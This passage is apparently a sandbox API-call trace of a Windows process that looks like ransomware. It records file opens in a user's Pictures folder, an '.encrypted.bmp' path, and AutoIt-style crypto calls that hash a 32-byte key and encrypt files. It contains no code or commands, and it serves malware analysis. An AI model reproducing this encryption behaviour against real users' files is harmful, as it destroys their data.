0 [0028.030] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.031] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.031] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.031] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.031] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.031] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.031] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.031] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.031] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.031] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.032] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8273) returned 1 [0028.032] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.032] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.032] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.032] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2051, lpOverlapped=0x0) returned 1 [0028.032] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.032] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2051, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.032] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8273) returned 1 [0028.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\a3R9P4wd Zju.encrypted.bmp\r\n", cchWideChar=85, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 85 [0028.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\a3R9P4wd Zju.encrypted.bmp\r\n", cchWideChar=85, lpMultiByteStr=0xe8f40697d0, cbMultiByte=85, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\a3R9P4wd Zju.encrypted.bmp\r\n", lpUsedDefaultChar=0x0) returned 85 [0028.032] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x54, lpOverlapped=0x0) returned 1 [0028.032] CloseHandle (hObject=0x188) returned 1 [0028.033] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.033] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.034] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.034] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.034] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.034] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.034] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.034] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.035] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178820, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.035] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178860, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.035] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\LIvZ.png", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0028.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\LIvZ.png", cchWideChar=65, lpMultiByteStr=0xe8f4051bd0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\LIvZ.png", lpUsedDefaultChar=0x0) returned 65 [0028.036] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\LIvZ.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700\\livz.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0028.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, lpWideCharStr=0xe8f4068150, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\LIvZ.png") returned 65 [0028.036] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.037] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.037] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.037] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.037] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.037] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.038] CloseHandle (hObject=0x188) returned 1 [0028.038] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.038] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.038] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.038] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.038] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.038] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.038] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.038] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.038] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.038] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.038] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.038] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.038] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.038] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.038] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.038] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.039] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.039] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.039] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.039] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.039] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.039] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.039] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.040] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.040] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.040] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.040] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.040] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.040] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.041] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.041] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.041] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.041] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.041] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.041] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.041] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.041] CryptHashData (hHash=0xe8f4062720, pbData=0xe8f418b9c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.041] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.041] PeekMessageW 